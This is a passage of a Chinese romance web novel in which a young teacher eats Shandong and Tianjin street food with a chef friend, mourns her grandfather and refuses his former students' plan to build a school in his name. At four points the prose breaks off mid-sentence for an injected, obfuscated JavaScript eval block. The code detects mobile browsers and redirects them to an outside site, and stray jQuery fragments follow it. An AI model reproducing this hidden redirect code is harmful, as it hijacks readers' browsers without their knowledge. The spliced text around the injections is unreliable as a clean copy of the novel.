茄子扒五花肉,茄子的颜色很浅,好像就放了一点酱油,连原色都没遮住,肉片拇指大小,肥瘦分明,真吃下嘴里的时候,沈小甜脑袋的《古惑仔》唱片机一下子就断了电。
真是,一下就明白什么叫能下十碗饭了,肉香味儿沁入了茄子的每一根纤维里,酥烂香滑,又不像很多做法那么油腻,里面的肉更是一绝,油都被吸走了,香而不腻,在舌尖一抿就化了。
看着她享受的样子,旁边一起吃的越观红扑哧一声笑了:
“要米饭么?”
“要!”
白莹莹的米饭放在面前,沈小甜夹了一筷子的茄子盖在上面,立刻就觉得十二万分的满足。
更绝的是米饭不是刚出锅的滚热,而是恰好能入口的温热。
一边儿,越观红夹了一筷子凉拌猪耳朵说:“我这茄子,每次一做,就得配一大锅饭,也忘了谁说的,饭太热了耽误他吃茄子,所以我这饭就早早做好了,散了气儿再焖着。”
给这个建议的人真是太棒了!
值得在学期评价上给个“品学兼优、富有创新思维”的评语。
沈小甜默默想着,又吃了一口茄子配米饭。
还有两道热菜,分别是油炸小黄花和韭菜炒鱿鱼,这两个菜也是山东沿海人的家常菜,不知道为什么,沈小甜就觉得它们的味道比自己从前吃的更重一点。
“红老大做菜重入味儿,小黄花连鱼肚子里都是单独抹了料,这个鱿鱼是火候拿的好。”
吃着饭,陆辛还点评这些菜给沈小甜听。
凉拌耳丝也很好吃,凉了的卤猪耳朵快刀切成细丝,用那种比沈小甜还高的葱的葱白切丝,一加了酱油、辣椒油拌出来,是沽市夏天最好的下酒菜了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729327|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
那三个人带来的另一个凉菜是盐焗鸡,鸡腿加鸡胸被撕成了丝,香味都变得更细致了。
看着沈小甜吃得开心,陆辛又主要说起了这个茄子:
“茄子能做成这样,也是道火候菜,虽然没过油,但是把味道吸足了。”
越观红看着陆辛,哼了一声说:“陆哥,我可没花钱请你给我扒拉菜啊。”
花钱扒拉菜?
沈小甜没听懂,陆辛说了做法,她点了点头说:“红老大是个喜欢通过调节浓度让分子充分运动的厨子。”
啊?
越观红的筷子一僵:“啥,啥运动?”
陆辛还来当翻译:“她是说你菜做的入味儿。”
越观红叹了口气,说:“陆哥啊,我都说你别扒拉我的菜,怎么你还带了个人来一起扒拉?我又不掏钱!”
这是什么意思,沈小甜看向陆辛,看见他笑了一下:‘’
“红老大,冯厨子那帮人的瞎话你也信。”
“瞎话?”越观红一抬眼,仿佛就自带了刀光剑影的特效,好像刹那间就不是身在饭桌上。
又夹了一筷子的茄子,沈小甜自动摁掉了脑子里又在荡漾的留声机。
“小甜,你知道陆哥的舌头多厉害么?”她转向跟沈小甜说话,“菜啊,他吃过一次,就能做出一样的味儿来,当年在天津,老字号百官楼的老板不知道怎么得罪了他,他就去了百官楼的对家恒久隆当厨子,一个月,吃得半个天津的老饭桶都以为百官楼的大厨子跳槽了,逼得那老板最后低了头。”
被人当面说从前的事,陆辛好像有些不好意思,敲了一下桌子说:
“红老大,松鼠鳜鱼你来不及做,是不是再做点儿别的呀?”
“做什么再说,我跟小甜聊得开心呢。”
“红老大……”
“哎呀嘿!算了,我再给小甜做个鲜果汤圆儿去。”
看着红老大不情不愿地进了厨房,沈小甜觉得虽然越观红自带古惑仔的BGM,可她显然是个好说话的,至于看起来好说话的陆辛……可能就未必了。
“年轻时候的傻事儿。”
陆辛对沈小甜解释了一句。
沈小甜点点头说:“很帅。”
她要是不这么说还好,轻描淡写地两个字像是石头,把陆辛的头往碗里又压下去了两寸。
不一会儿,越观红端了三个白瓷小碗出来,西瓜、火龙果和猕猴桃切了小丁儿,糯白的小汤圆飘在里面,越发可爱起来。
“一会儿快吃饱了再吃,我家里忘了包水果汤圆了,小汤圆里是红豆馅儿的。”
那边喝着酒的三个男人眼巴巴看着,干巴巴叫着“老大”,越观红头也不回,说:
“厨房小盆里自己去盛,盆给我泡上。”
“好嘞老大!”
越观红转回来,又看向了沈小甜:“小甜,我跟你说,陆辛这货,损事儿干多了去了,也就在沽市收敛,人人当他是个大好人……”
突然,越观红安静了下来。
沈小甜抬头,看见她低下头安安静静地吃饭。
陆辛则对她笑了一下说:“鲜果汤圆的甜汤挺好吃的,你尝尝。”
我的课代表,有让刺头学生安静下来的特殊方法。
吃了七分饱的沈小甜笑着捧起了小白瓷碗。
11. 小甜汤
虽然没有喝酒,但是吃得足够饱,沈小甜的嘴里还带着鲜果汤圆甜蜜的汤汁味道和汤圆软糯的口感,走出餐厅,被软软的风吹了一下,她觉得心情格外的畅快。
“真的太有意思了,明明是靠卖煎饼果子赚钱的,其实暗地里还会做特别好的家常菜,就好像我以前的一个同事,明明是个体育老师,其实还会做很棒的刺绣。”
其实也算不上是反差,但是一下子就让人看见了这个人流光溢彩的另一面。
“谢谢你。”
她转头对陆辛说,“如果不是你的话,我只会跟其他人一样,以为红老大是个风格很另类的煎饼果子高手。”
陆辛脚下一顿,看着沈小甜:“风格另类的煎饼果子高手?我还真是第一次听见有人这么说红老大。”
天黑了,河水的声音就变得清晰起来,沈小甜听见陆辛略低沉的嗓音与夜风和水声周旋在一起。
“红老大刚从天津回来开煎饼果子摊儿的时候,都没什么人敢来买。”
因为红老大以前真的是个“老大”,沈小甜已经猜到了。
陆辛继续说:“其实她从前也不是很多人想象的那样,她家里吧,事儿挺糟心的,从小到大又没什么人管她,倔性子又长了那么一张脸,要想不被人欺负,就得自己把自己撑起来。
“据说她上高中的时候在周围这几个市都挺有名的,后来,高中毕业,她突然就变了个人儿,想要做点正经的营生。我在天津认识她的时候,她在一家健身房里当教练。”
健身教练?想想也觉得比煎饼果子更适合红老大。
陆辛:“结果健身房的老板卷了钱跑了,还欠了她两个月的工钱。”
沈小甜:“……真惨。”
“我听说是她走投无路,大冬天的,花了兜里最后的钱,在一个摊子上买了个煎饼果子,宝贝似的捧着都舍不得吃……那家摊儿的老板是个老师傅,手艺好,心肠也好,有个女儿和红老大差不多大。
“想想红老大那时候得啥样,一脸的凶相,还抱着煎饼果子可怜巴巴,估计谁看着也都觉得心里不好受……反正老师傅就收了她当学徒,她学了三年,学了手艺,还学了一口半吊子的天津腔儿回来。”
沈小甜又想起来了红老大的那一声“姐姐”,忍不住笑了。
陆辛的话锋却一转:
“等我在沽市见了她的时候,她就已经是整个沽市最有名的煎饼果子摊儿老板了,但是我听别人说,她之前很长一段时间都做不起生意来。”
凶名在外的人,人们要么怕得敬而远之,要么恨得咬牙切齿,总之,是不会给她掏钱的。
“她那时候就在摊子边立了个牌子,限期一个礼拜,以前受了她欺负的,可以免费去吃煎饼果子,吃多少都行,在天津攒的那点儿家底儿几乎赔干净了,生意才正经做起来。”
想想那个画面,一脸凶相的女人,立了那么一个牌子,还着年少无知的债,又靠着自己的手艺撑起新的招牌。
“我问她,苦么?为什么还要回来呢?她说她在这个地界儿,干什么都是那个红老大。”
有人在河边遛狗散步,说着“让一让”,就超过了这两个年轻人。
小白狗儿扭着胖乎乎的屁股,慢悠悠地就走远了。
“这几年我年年回来,听过不少人说起她,爱吃的她手艺的,说她是长得凶但是手艺好,嘴上刻薄的,就说她勉强是改邪归正了,还真是第一次听人说她是个高手,还是个风格另类的煎饼果子高手。这话她听了,估计能高兴得再给你做条鱼。”
陆辛看着沈小甜,沈小甜回以笑容:
“你也是高手呀,能想出靠着天赋打败别人……不对,这都不是高手了,这该叫少年天才。”
少年天才?
沈小甜的家到了,她打开门,迎着陆辛去取他的车。
“小天才,路上要小心呀。”
陆辛推着车,在沈小甜家的门口没动,路灯是晕黄的,显不出他的脸色。
“我那时候是憨小子一个,做的都是些傻事儿,你可别这么叫我了。”
沈小甜却不肯:“你这是少年意气,天赋异禀,才不是憨小子。”
陆辛抬手捂了一下脸,第一次在沈小甜的面前露出了招架不住的样子。
沈小甜的眼睛里全是笑,只有脸上的肌肉在强撑,无处不挂着“正经”两个字儿的招牌。
“要不这样吧。”陆辛把头盔戴上,露出一双明亮的眼睛看着沈小甜,“你别这么叫我,我再带你去一个有意思的人那里吃饭,好不好?”
“和红老大一样有意思么?”
陆辛点头。
沈小甜:“好吧,大好人。”
风吹得梧桐叶细碎得响,飞蛾的影子从水泥路上飘过,院门落锁的时候发出脆响……这些仿佛都是在替着沈小甜在笑。
“这个,应该叫隐藏菜单吧?”
回到房间里换了衣服,沈小甜下意识打开电脑上了微博,今天吃的东西和红老大这个人都实在太有趣了,让她想写点什么记录下来。
当然,最有趣的还是“课代表”。
“也不知道什么时候能吃到他的隐藏菜单,估计比红老大的还好玩儿呢。”
看着微博上各种的数字提醒,看着比之前飙升了一截的粉丝数量,沈小甜的手停住了。
在沽市,她是可以每天无所事事吃东西听故事的沈小甜,可在网络和其他地方,她还是那个男友出轨的可怜女人。
合上电脑,沈小甜躺回了床上。
转身,再转身,叹了一口气,她又坐了起来。
“我知道我在逃避。”她自言自语,“可我为什么不可以逃避呢?”
我不想去面对自己男朋友出轨,我努力让自己不去想我努力去教的学生最后为了我去伤人,我不去想自己本来规划好的人生一下子天翻地覆,为什么不可以?
呆坐了一会儿,沈小甜下了楼,打开了一楼书房的灯。
老旧的灯泡竭尽所能地发着光,她看着书柜上的藏书和那个空荡荡的书桌,直直地看着。
“你知道我去了广州,我妈是怎么教我的么?她跟我说反正我是要长大的,离开你比一直依赖你要好!她说我要学会对自己的人生负责,不能像你和我爸那样!她说……你不要我是对的,因为我只会哭只会闹,只会发脾气。”
眼泪落在地上,整个房子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729328|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里都是静悄悄的。
“你一下子就不要我了。她逼着我让我明白,你不要我了。”
“然后呢?我不去依赖别人,我好好上学,好好长大,我学了那么多的道理,我觉得我什么都可以面对,姜宏远出轨,我得面对,我不是个离了男人就活不了的小可怜儿,我的学生打了他,我也得面对,我不能让我的学生就因为我被退学。
“……我还得面对我自己,我根本没办法像你当个好老师,我害怕,我害怕我再教出一个学生,他会因为我对他好就去伤人。”
书架那些旧书带着时光的斑驳沉默着。
沈小甜的声音是苦的。
“我走的时候,你让我坚强,让我我忍耐,什么事儿我都面对了!我不是那个十四岁就一下子天塌了的小孩子了!我不需要别人安慰我可怜我!可我的人生一点都没有变好!”
桌前的木椅已经很老了,它样式略宽大,因为沈小甜的外公总喜欢斜靠着看书,从前垫在上面的棉垫子早就被扔掉了,只有光秃秃的一把椅子。
空落落地,对着窗外半死不活的海棠树。
沈小甜曾经看过一段话:
“一个人,从他哭得最惨烈的那一次之后,他就真正长大了。”
沈小甜对这句话嗤之以鼻,因为她有过很多个想哭却没有泪水的夜晚,在那些煎熬里,她把自己雕琢成一个看不出被抛弃的样子。
可她今天还是哭了,眼泪根本止不住,五脏六腑就像她吃的茄子那么柔软,再甜的汤水和再糯的汤圆都不能抚慰她心口的酸涩。
“姥爷……呜呜呜……”
跟沈小甜那个空置了很久但是收拾一下就是个家的房子不一样,陆辛住的公寓很新,可是各种家具看着都是凑合的,显然只是个让他暂时落脚的地方。
一个木头箱子摆在灰色沙发的旁边,看出来是常用的,其余的东西都冷冰冰摆着,一点儿人气儿都没有。
“刘老板,咱们也不是第一回打交道了,我说我接不了单是真的有事儿,您跟我提价钱就也没用啊……是,下个月我就回去了,您明年还想用我,您就早点儿约上,没事儿,多早都行,您现在订了明年的日子,您跟我说,我也立刻记下来……。”
挂掉电话,陆辛深吸了一口气。
“您说我是去带她吃海鲜呢?还是带她去吃大鹅?”
房间里只有陆辛一个人,这话像是他对着空气说的。
说完,男人拿了本崭新的书坐在了沙发上。
“买东西我也不会,带着去旅游也算了,就会那点儿灶上手艺,还是领着她吃吧。您放心,多带她吃点儿好的,啥事儿就都过去了。”
书页被飞速地翻完了,陆辛把那本《让女孩子开心的101种办法》放回了茶几上。
“九月开海的时候估计是赶不上了,让柜子给我弄点儿洋货吧。”
自言自语自己琢磨,好一会儿,陆辛给备注成了一朵小花的那个人发了条微信:
“改天带你去找个会讲故事的,他那儿鱼好吃。”
过了挺久的,反正陆辛是觉得过了挺久的,“小花”回了他一句:
“好的,谢谢你,大好人。”
12. 鸡蛋果子
人生在世,最大的矛盾,就是你每天睡前想的是活着没意思,醒过来了还得这顿操心吃什么。
沈小甜难得起晚了,窗外的阿姨和电动车今天并没有充分发挥闹钟的作用。
上午九点二十六分。
对着手机的时间发了会儿呆,沈小甜起床穿上衣服,照了照镜子。
还好,眼睛还是挺大的,没有哭肿。
洗漱好了走出家门,沈小甜踩着自己那十五块钱的深度山寨小拖鞋沿着昨天走过的路往回走。
她的胃说昨天太难过了,需要红老大的煎饼果子安慰一下。
快十点了,市场里都没什么人在买菜,沈小甜这次学乖了,她先去吃了早饭再去买菜,也省的让人误会做个煎饼果子都得自带葱了。
“怎么没精打采的?昨晚上吃的不舒服?”
越观红的煎饼果子摊儿也是难得客人寥寥,她包起来了一份煎饼果子递出去,不耽误用眼睛看着沈小甜的脸色。
“不是。”沈小甜摸了肚子笑着说,“想你的煎饼果子了。”
哎呀这话,真是一杯蜜水往心窝里灌,红老大那凶煞的脸上硬生生挤出了份儿得意来。
“姐姐,你这边儿馃箅儿油条都用完了,你等会儿我给你现炸一个,油条啊,还是馃箅儿啊?”
“油条就行。”
“行嘞,姐姐,您上里头坐着等,有风扇呢。”
红色的手印形状纹身随着红老大的动作从沈小甜的眼前划过,红老大一转身忙乎了起来。
从后面的不锈钢台子上,一大团看起来稀软到堪堪成型的面团被红老大拿了出来。
“当当当”几刀下去,被整成了长饼形的面团被切成了小条。
红老大猛地回头,看见沈小甜在她厨房门口站着,带着刀锋的眉毛瞬间松了下来。
“姐姐,我先炸油条,再做馃箅儿,您且外头等着,油锅太热了,别热着您。”
沈小甜只笑了一下,没动。
“你的这个油条都是得自己炸的呀?”
“那是,我这油条炸的可比外头买的好多了,天津人吃煎饼果子,就是管油条叫果子,火候儿比咱这儿吃的油条轻。”
两条面上下叠在一起,随着红老大两只手捻准了位置往外一扯,面团就成了将近两尺长的细长条,沿着锅边儿滑进了热油里。
油温没有很高,能看见对在一起的条子被筷子拨弄着翻滚,转眼就飘在了油锅上面。
当然,在沈小甜这儿,她已经开始分析气体的产生过程,如果用的是酵母,那就是酵母菌将淀粉中的糖转化成了二氧化碳和酒精,当然发酵的过程中会产生酸性物质,这样的话要在面团里加一点小苏打,让它们在高温条件下发生中和反应。
如果是用了发泡剂,那就是发泡剂中的酸碱在高温条件下成分发生中和反应产生二氧化碳。
总之,红老大的热油锅已经成了沈小甜眼里发生中和反应的试管。
炸好的油条拣在竹篮子里沥油,竹篮子也不知道用了多久,早就被油浸透了,底下都带了黑色。
炸了十来对儿油条,红老大又拿出一块儿面来开始做馃箅儿,馃箅儿是薄是先擀后扯出来的,被擀成了四方饼的面随着红老大的手一扯,像是一张膜一样张开在了案板上,在上面随意扎几个眼儿,再放油锅里,一会儿就鼓了起来。
热气随着炸出来的眼儿出来,馃箅儿又瘪了下去,成了个规规整整的样子,用刀切成长条就能裹进煎饼里了。
“姐姐,鸡蛋果子你吃过么?”
鸡蛋果子?
听都没听过。
沈小甜说:“没听过,也是天津小吃么?”
馃箅儿的擀成巴掌大四方方的饼,红老大却没把它像之前那么扯开,而是直接下在了油锅里,面饼很快就成了个“小气球”。
趁着它颜色还没变成彻底的金黄,红老大拿着铁夹给它豁开了一道口子,另一只手单手开了个蛋,直接把鸡蛋倒了进去,再用夹子把它往油锅里一戳……最后,金灿灿油滋滋的饼里面,就夹了个鸡蛋。
“这个就是鸡蛋果子,我以前在天津跟我那老师父学艺,他家闺女我那个妹子就爱吃鸡蛋果子,我老师父就一次做上两个,一个给他闺女,一个给我。”
把鸡蛋果子用牛皮纸夹着了沈小甜,红老大继续做她的馃箅儿。
“改天您要来,提前打个招呼,我弄块红糖皮,给你做糖果子,天津人也叫糖皮儿,那个也好吃,哄小孩儿,哄一个好一个!”
鸡蛋果子里的鸡蛋似乎格外香滑,外脆里软,两种香味儿混在了一起,从喉头下去,胃里一下子就温温地热了起来。
“真的很好吃。”沈小甜对红老大说,她爱酸碱中和反应。
忙碌的女人得意地笑了两声,说:
“一边儿人吃东西一个口味,我在这儿说我是正宗的天津煎饼果子,大家都说好吃,可我要是说我这还做正宗的天津嘎巴菜呢?他们就会说‘你做了个什么东西’,一开始想过卖糖果子和嘎巴菜,结果我那帮兄弟……不是,我找了朋友来试着吃,他们都说煎饼果子更好吃,我就只做了这个,里外一个人,也忙乎得过来。”
总算是油条馃箅儿都炸好了,有几个闻着油香味儿又过来了,红老大三下五除二把他们要的煎饼果子都做好了,油条馃箅儿又用了大半。
沈小甜也吃完了她的那个鸡蛋果子,长出一口气,觉得自己从里到外都是香的。
“红老大……”
“别,姐姐你别叫我红老大,我今年二十五,你算着年龄,就叫我越观红,观红,小越,不知道为什么,你一叫我红老大,我就觉得像是我以前老师在叫我,还字正腔圆的。”
沈小甜从善如流:“观红。”
“哎~姐姐你声音可真甜啊!”
“你也别叫我姐姐了,叫我小甜吧。”
越观红回头看了沈小甜一眼,奶奶灰的发色在油烟气里也炫酷,她说:“好勒,小甜儿。”
果然,是带着儿化音的。
沈小甜觉得自己今天看见越观红,脑海里没有再想起“古惑仔”的主题曲,大概就是因为她那口不太纯正的天津话一直往自己脑子里灌吧。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729329|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
毕竟她想象不出来陈浩南啃着煎饼管“山鸡”叫“三鸡儿”。
越观红执意不肯收沈小甜那个鸡蛋果子的钱,沈小甜还是扫码给她把钱留下了,看着越观红那张不高兴之后越发显得凶的脸,沈小甜完全没在怕的。
不就是个鸡蛋果子么,外面看着脆硬,里面都是香软的。
快到饭点儿了,越观红开始为中午要涌来的人流做准备,沈小甜也打算走了。
“谢谢你呀,观红。”
“别忘了,下次提前跟我打个招呼,我给你炸糖果子吃啊小甜儿!”
路过菜市场,买了半个西瓜,听着摊主的口音,沈小甜觉得自己可算是从天津回了沽市。
沈小甜打算用这半个西瓜当自己下午的水果。
门被人敲响的时候,那半个西瓜已经被沈小甜掏空了。
“你好。”
沈小甜看着门外站着的几个人,她只认识两个,就是她回来住的第一天晚上那个来看过她还送西瓜的方墨林、季雨诗夫妇。
“我们都是田老师的学生,来看看你,顺便有点事情想谈谈。”在这样的场合,季雨诗主动承担了沟通的工作。
沈小甜让开了房门:“请进吧,上次你们来,我家里太乱了,连个能坐的地方都没有。”
一共来了五个人,沈小甜让他们坐在沙发上,自己从饭桌旁边拖了把椅子过来坐,两个男人忙着要帮她,被她谢绝了。
“你们打算用我外公的名义捐一所希望小学?”
听明白了他们的来意,沈小甜的表情没什么变化,一双干净的眼睛看着对面坐着的人。
“是。”季雨诗面带微笑,“其实,我们之前一直想知道田老师葬在哪里之后,就去祭拜一下,然后给老师把墓修整一下,可是……老师……我们也受了很大的触动,想为老师再做点儿什么,这些天我们就商量了一下,觉得还是建一所学校比较好,我们很多同学都响应了这个号召,包括田老师教过的其他届的学哥学姐学弟学妹,他们也都想出点儿力。我们五个是目前在沽市能立刻抽身过来的,其实想要做这个事情的人已经有几百个了。”
沈小甜眨眨眼睛,控制自己的目光不要看向那个关着门的书房,她说:
“其实捐款这种事情,在账目总是会有很多问题,所以……”
季雨诗立刻说:“这些问题我们都想过了,所以我们的做法很简单,就是建立一个账户,把钱打进去,然后你和我们一起把钱以田老师的名义捐了就好,在打款之前所有人都会签一份捐赠声明,简化了流程,也降低了风险。”
真体贴。
“我还是不同意,诸位如果想为边远山区的教育做出一份贡献,都可以自己去做,没必要非得纪念什么。他自己说了,他不需要被纪念。”
“小甜……”方墨林开口说道,“可是我们希望能为老师做点什么。”
沈小甜说:“那是你们的希望。”
短短七个字。
甜甜软软的小姑娘,收敛了所有的笑容,拒绝的态度冷淡到几乎冷漠,又决绝得让人心惊。
13. 牛肉夹饼
这些人大概没想过沈小甜会这样直截了当地拒绝,急着想说什么,被他打断了、。
坐在椅子上,沈小甜的腰直直地,毫不怯懦地看向其他人
“我外公的遗嘱是‘不下葬,不纪念,不麻烦别人’,我坦白说,作为我外公的家人,我觉得遵守他的遗嘱是最重要的。
“其次,你们几百人个个都是社会栋梁,出资为老师建一所学校,一定想弄得漂漂亮亮,声势不可能不大,可那学校挂着我外公的名字,从此被褒贬由人的还是我外公。学校办得好,他人也已经去世了,学校办得不好,非议都落在了他的名字上。”
说完了想说的,沈小甜慢慢站了起来。
“我小时候,我外公最喜欢说人得往前看,各位年纪都比我大,阅历比我深,这个道理你们也都应该比我懂,与其去纪念一个离开的人,不如发自真心地为活人做点儿好事。”
“小甜,你也该理解我们……我们……”季雨诗还想说什么,沈小甜看着她,笑了一下,说:
“菩提老祖教出了齐天大圣孙悟空,最后告诉他的事儿是,从此别说你是我徒弟。我外公给我讲这个故事的时候就说过,他觉得菩提老祖挺好的。季大姐也当了好几年老师,您觉得菩提老祖好不好呢?”
季雨诗看着她,竟然不知道说什么了。
这时,一个看着比季雨诗年龄大上几岁的男人清了清嗓子,对沈小甜说:
“我是一中95届的,他们几个是校长被返聘之后才教的学生,我可是田校长退休之前教的最后一届,我知道,小甜,田老师……老校长当年是受了委屈……”
沈小甜的头一下子抬了起来:“我外公从来没说过他受了什么委屈,他没说过,我也不用别人替他说。”
……
送这几个还想说服自己的人离开,沈小甜打开院子的门,抬眼就看见了那辆不能更眼熟的摩托车,和骑在车上的人。
“我正好想吃牛肉夹饼,路过这儿的时候想问你要不要一块儿啊。”
男人摘了头盔,目光从几个人的脸上扫过去,点头致意,算是跟陌生人打了个招呼。
来的几个人在沽市都混得还算体面,除了方墨林、季雨诗两口子住得近之外都是开车来的,沈小甜家门口的路不宽,一辆本田正好停在了沈小甜家的院子前面,陆辛从摩托上下来,略推远了一点儿,让那人能上了车。
“小甜,这个事儿对你来说真不是坏事儿,对校长来说也一样。”
临别,那个中年男人又留了这么一句话。
沈小甜脸上是很甜的笑容,偏偏就像是一张塑料纸,俗称油盐不进。
“你还是要把车停我院子里么?”
那些人都走了,沈小甜没事儿人一样地问陆辛。
“嗯,是……不过牛肉夹饼那个店有点远,我把车停在咱俩打车过去吧。”
沈小甜点了点头,又说:“那你等我换一下衣服。”
陆辛掏出手机:“你去吧,我正好打个电话。”
等沈小甜进了房子关上门,陆辛又把手机放下了。
T恤,牛仔裤短裤,脚上穿得不是那双十五块钱的拖鞋,而是一双轻薄好看的运动鞋,这么打扮的沈小甜像是个高中没毕业的孩子。
“走吧。”陆辛从地上站起来,拍掉了手里的草叶,沈小甜看见自己之前收拾过的那片荒地上杂草更少了。
“要不要洗下手。”她问陆辛。
“不用,麻烦。”掌心的一点土被陆辛蹭掉了。
沈小甜住的地方对现在的沽市来说属于老城区的核心地带,而沽市的西部和北部这些年一直在建设,尤其是西部,已经成了一个新的城市中心。
老城打车到那边,也不过二十分钟。
在车上,沈小甜已经先听了点儿琐碎的小故事,做牛肉夹饼的是一对老夫妻,男的姓马,女的姓杨,他们的店就叫老马家牛肉夹饼,开在一个小区里。
陆辛这段日子常去吃,就是因为两个老人要退休不干了。
“俩老人做了几十年夹饼,把两个孩子都供去了北京安家了,退休了之后呀,他们就想去孩子家住。”
真到了地方,就是一个很普通看着还有点老的小区,小区外面围了一圈儿的门面房,老马家牛肉夹饼就是包了两个门面房开了一家铺子,现场做了夹饼,客人也有地儿坐着吃。
“晚上人少点儿,都是进屋吃,早上人多,门口的条凳都摆不开。”
陆辛走在沈小甜前面帮她挡着在人行道上横冲直撞的电动车,带着她走到了店门口。
“马爷爷,我要三个……四个牛肉夹饼。”
除了小米粥和牛肉夹饼之外,这个小店儿里也不卖别的了。
做夹饼的爷爷看着快七十岁了,身体还算硬朗,快刀把从锅里捞出来的酱牛肉切碎了,就往切开了的面饼里填。
看见了陆辛,他笑呵呵地说:
“你这小子是听说我要走,非得吃回本了才行?”
“马爷爷,我今天带了朋友来的,听说你和杨奶奶也退休了,我赶紧带他来您这儿吃点儿好的。”
“好啊,你带朋友来我这,我高兴!给你挑块带筋儿的肉。”
不一会儿四个纯肉夹饼做好了,陆辛自己端到了沈小甜的面前。
“别家的牛肉夹饼,那肉大多是发干的,马爷爷这边儿的肉是一直泡在酱汤里,而且肉都卤透了,尤其是这个蹄筋,谁吃了谁知道。”
牛肉夹饼大概比沈小甜的手掌略大一圈儿,外面是金色的,密密地撒了一层芝麻,能看见揉制面团时候产生的纹理,酥到咬一口都怕会掉渣儿。
沈小甜双手捧着一个夹饼,听着陆辛的话,一口咬了上去。
肉饼里面包着是肉香四溢的软糯口感,但是还能吃到肉的纤维,满足感从口腔能一直延伸到人的后脑勺和脚指甲。
是那种会让人忍不住用鼻子发出声音的满足。
当然沈小甜并没有,她只是眯着眼睛,一边咀嚼一边享受。
“特别酥烂。”她给了很正常的四个字评价。
陆辛却仿佛不满足,咽下嘴里的评价,他说:
“那你知道它是怎么这么酥烂的么?”
嗯?
课代表居然主动提问了?
沈小甜说:“这个蹄筋的部分,主要成分是胶原蛋白质,焖煮牛肉就是对蛋白质的热处理,热处理的过程中,蛋白质的性质发生改变。
“我们之前说过,在面团里,蛋白质是网和膜,在肉里面也是一样的,它们贮藏水分和胶质,加热很长时间之后,像这些蹄筋部分的胶原蛋白质彻底发生变化,蹄筋的组织就会开始‘降解’成为明胶,明胶是一种大分子的亲水胶体,会吸收丰富的汤汁,让我们有了这种酥烂的感觉。”
沈小甜完,又大大地一口咬在了牛肉夹饼上。
肉香味儿伴随着明胶和丰富的汁水在舌尖与味蕾纠缠,同样是酱卤出来的牛肉,老马家做的牛肉就和荆家卤肉馆做的牛肉有着不同的风味。
她又反过来问陆辛:
“荆家卤肉你吃过么?他们家的肉颜色比这个浅,味道也和它不一样,据说你吃一次就知道别人的菜是怎么做
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729330|189595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的,那你能不能告诉我,荆家的肉和这家的肉哪里不一样?”
嗯,这个应该叫分析简答题,属于中考的题目类型。
陆辛:“首先是香料方子不一样……”
杨奶奶正好路过,她头发已经花白了,还是梳得整整齐齐,紧紧地在头上盘了起来,陆辛对她笑了一下,接着说:
“其次吧,奶奶这边做的牛肉的调味儿是靠着他们家自己做的酱,里面放了炒的糖色,颜色就会更重一点儿。”
“小陆啊,来奶奶这儿吃肉了?”
老太太说话的声音很响亮,拍了拍陆辛的肩膀,就笑呵呵地走了。
\"杨奶奶的……”陆辛对着沈小甜指了指自己的耳朵,“以前都是杨奶奶一边烙饼一边卖夹饼的,现在只能马爷爷自己卖,杨奶奶负责烙饼,盛稀饭。\"
明知道老太太听不见,所以是吃出来了卤牛肉的香料配方也要帮别人保守秘密吧?
嘿嘿,大好人。
沈小甜微微得意地笑了一下,把第一个牛肉夹饼吃完了,开始向第二个进攻。
陆辛的速度可比他快,手里拿着最后那点儿夹饼,他转头跟暂时空下来的马爷爷说:
“爷爷,您什么时候去北京了,可得把地址给我,到时候我带您去吃涮肉去。”
“不去了。”马爷爷把刀放在案板上,勉强地提了一下唇角,“他们都忙,我和你奶奶商量了,等外面那路挖开了,我们就不干了,就在这儿养老就成了。他们要是心里还有两个老的,就逢个年节回来看看……”
话说一半,马爷爷被他老伴儿打断了。
杨奶奶用两只手比划着:“我再烙十个饼预备着?”
马爷爷点点头:“行啊,十个烙饼。”
醒好的面饼被揉成了形状放在了烙饼的铛子上,马爷爷一双眼睛斜着盯着看完,才回过头来继续跟陆辛说话:
“反正啊,外面的路开始修,我们就不干了,就在这儿养老了。”
